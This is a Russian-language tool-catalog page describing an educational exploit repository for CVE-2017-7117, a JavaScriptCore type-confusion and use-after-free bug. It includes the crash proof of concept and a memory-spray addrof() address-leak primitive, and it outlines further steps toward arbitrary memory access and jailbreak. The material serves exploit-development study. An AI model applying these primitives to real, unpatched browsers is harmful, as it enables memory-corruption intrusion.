Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
cve-2017-7117 — Учебный эксплойт для CVE-2017-7117, уязвимости type-confusion и use-after-free в JavaScriptCore iOS 10.3.4, демонстрирующий техники memory spraying и address leak. | Kitploit
Инструменты/GitHubGitHub/rebelle3/cve-2017-7117
Безопасность iOSКриминалистика памятиАнализ уязвимостейЭксплуатацияШелл-кодМобильная безопасностьОбучение и ОбразованиеЭксплуатация Бинарных Файлов
GitHubrebelle3/cve-2017-7117

cve-2017-7117

Учебный эксплойт для CVE-2017-7117, уязвимости type-confusion и use-after-free в JavaScriptCore iOS 10.3.4, демонстрирующий техники memory spraying и address leak.

Репозиторий
31 год назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

cve-2017-7117

Об ошибке

Типовая путаница и UAF, обнаруженные в iOS 10.3.4 и более ранних версиях, Safari до 11.0.

CVE-2017-7117: mitre.org

Оригинальное доказательство концепции

Обнаружено @lokihardt, источник: Google Project Zero

root@kitploit:~
function f() {
  let o = {};
  for (let i in {xx: 0}) { // i is a String
    for (i of [0]) { // i is now a number, but JIT treats as String
    }
    print(o[i]); // whoops
  }  
}

f();

Запуск приведённого выше кода вызовет сбой JSC.

Эксплойт

Мы создаём большой массив arr, который JIT-компилятор по ошибке примет за строку.

root@kitploit:~
var arr = new Uint32Array(1 * 1024 * 1024 / 4); // 1mb | 1 item == 4 bytes
arr[4] = 0xb0; // to pass checks for the member m_hashAndFlags 

Когда ссылка на i теряется, мы сохраняем доступ к исходному массиву arr и можем читать базовую память.

Распыляя известное значение, мы можем найти это и пройтись вверх, чтобы найти указатель на любой объект.

root@kitploit:~
function addrof(obj) {

    // search the freed array for this number
    var locator = 0x1337;

    // spray the freed memory with the locator
    var sprays = [];
    for (var i = 0; i < 0x1000; ++i) {
        sprays.push(i % 2 == 0 ? locator : obj);
    }

    // find the first instance of the locator
    var found = null;
    for(var i = 0; i < arr.length; i++) {
        if(arr[i] == locator) {
            found = i
            break
        }
    }

    // the pointer for the object is 3 and 2 indicies after the locator
    return found && [arr[found + 3], arr[found + 2]]

}

Значения в памяти доступны через Uint32Array: сначала младшие биты, затем старшие.

root@kitploit:~
let target = {
    foo: "bar"
}

let address = addrof(target)
// address: 0x0000ffff8d178e60

Вы можете проверить, что адрес корректен, с помощью describe()

root@kitploit:~
print(describe(target))
// Object: 0xffff8d178e60 with butterfly (nil) (0xffff9099bba0:[Object, {foo:0}, NonArray, Proto:0xffff909b00a0, Leaf]), ID: 244

Воспроизведение настройки

  • Протестировано на:
    • Ubuntu 20.04.5 LTS ARM64
    • Уязвимая JavaScriptCore (JSC) из libwebkitgtk версии 2.16.0
      • Архив сборки: launchpad.net
    • LLDB для проверки памяти (необязательно)

Пока не работает на iPhone 5, iOS 10.3.4. Выясним, почему ...

Следующие шаги?

  • Создать поддельный объект
  • Читать/записывать произвольную память
  • Jailbreak iOS 10?

Важно

Этот репозиторий предоставлен в качестве образовательного ресурса для отслеживания моего обучения разработке эксплойтов. Эта CVE была исправлена более 7 лет назад. Не используйте это в злонамеренных целях, очевидно.

Скачать инструмент